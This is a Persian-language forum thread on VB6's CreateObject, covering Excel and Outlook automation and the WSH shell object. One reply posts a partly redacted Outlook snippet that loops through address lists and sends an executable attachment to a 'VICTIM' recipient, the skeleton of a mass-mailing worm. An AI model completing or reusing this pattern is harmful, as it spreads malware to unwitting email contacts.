یه سوال در مورد CreateObject

[Typisch_VB6]

اگه کسی در هین مورد PDF یا سورس آموزشی داره کمک کنه


به ما هم بده :mrgreen: :mrgreen: :mrgreen: :wink:

[Typisch_VB6]

اصل تابع
Dim b As Object
Set b = CreateObject(Class As String ,[ServerName As String])

[Behrouz_Rad]

در چه موردی از این دستور کمک می خواید؟

[Typisch_VB6]

Classash va serverash :mrgreen: :mrgreen:

[Behrouz_Rad]

با استفاده از این دستور، یک Reference به یک شی (برنامه) نصب شده بر روی سیستم خود ایجاد می کنید.
به شکل زیر استفاده میشه:


Dim MyObject As Object
Set MyObject = CreateObject("MyReference")

به عنوان مثال برای اینکه به شکل اتوماسیون با Excel ارتباط برقرار کنید، به جای MyReference باید بنویسید، Excel.Application،
یا به عنوان مثال ویروس های رایانه ای با استفاده از Oulook.Application از امکانات Outlook برای ارسال نامه های آلوده از طرف شما به دوستانتون استفاده می کنند.
با دستور فوق، شی ایجاد شده تمام خصوصیات کلاس ایجاد شده را دراست.
برای آگاهی از نام کلاسی که باید در آرگومان اول بنویسید، باید به Document های برنامه یا شی مورد نظر خود رجوع کنید.

[Typisch_VB6]

behrouz jan mamnon vali chetori az roye documenthaye barnameha inaro befahman ? :گیج: :embr:

[Behrouz_Rad]

معمولا همراه با Document ها، قسمتی نیز برای برنامه نویسان در نظر گرفته شده که در صورت نیاز به سر و کار داشتن با اجزای برنامه، بتوانند از این توضیحات استفاده کنند.
به عنوان مثال در راهنمای Excel 2003، به صورت جامع و کامل در مورد کلاس Excel.Application و اجزای آن به خوبی توضیح داده شده که بنده از روی همین راهنما و با VB.NET قسمتی از یکی از برنامه هایی رو که نوشتم و با Excel سر و کار داشت رو پیاده سازی کردم.
موفق باشید.

[Typisch_VB6]

ey val hal dadi behrouz jan mamnon :mrgreen: :mrgreen: :mrgreen:

[Typisch_VB6]

behrouz jan faghat ye chize dige
age mishe bejaye Excel dar morede ye chizi mesle Outlook ye mesal bezani mamnoon misham choon excel nadarm :D :mrgreen:
va toye barnamehaye dige chizi dastgiram nashod :mrgreen:
mamnon :D

[Behrouz_Rad]

نکته مهم: به خاطر پایبندی به قوانین سایت و جلوگیری از انتشار کدهای مخرب، قسمت مهمی از کد زیر رو حذف کردم.


Dim i As Integer
Dim out,mapi
Set Out = CreateObject ("Outlook.Application")
Set mapi = out.GetNameSpace ("MAPI")
For i = 1 to mapi.AddressLists.Count
حذف شده
Set male = out.CreateItem(0)
male.Recipients.Add("VICTIM")
male.Subject = "متن نامه"
male.Body = "محتویات نامه"
male.Attachments.Add ("MyFile.exe")
male.Send
Next

[Typisch_VB6]

بهروز جان چطوری تابع هاشو پیدا کنم ؟
مثلا :
dim reg as object
set reg=createobject(vbnullstring,"Scripting.shell")
reg.regwrite .................................................. .
:mrgreen:
ino az koja peida konam

[Behrouz_Rad]

گوگل رو واسه چی اختراع کردند؟

[حامد مصافی]

از منوی Project گزینه Prefrence رو انتخاب کن
مرجع Windows Scripting Host Object Modal رو به پروژه اضافه کن
متغیر زیر رو تعریف کن


Dim Shell As WshShell


حالا متد ها و خصوصیات این شی در اختیار شماست ( به محض اینکه بعد از اسم متغیر یک نقطه بذارین لیست متد ها و پروپرتی ها ظاهر میشه و می تونین به کمک اون نوع آرگومان ها رو هم بفهمین )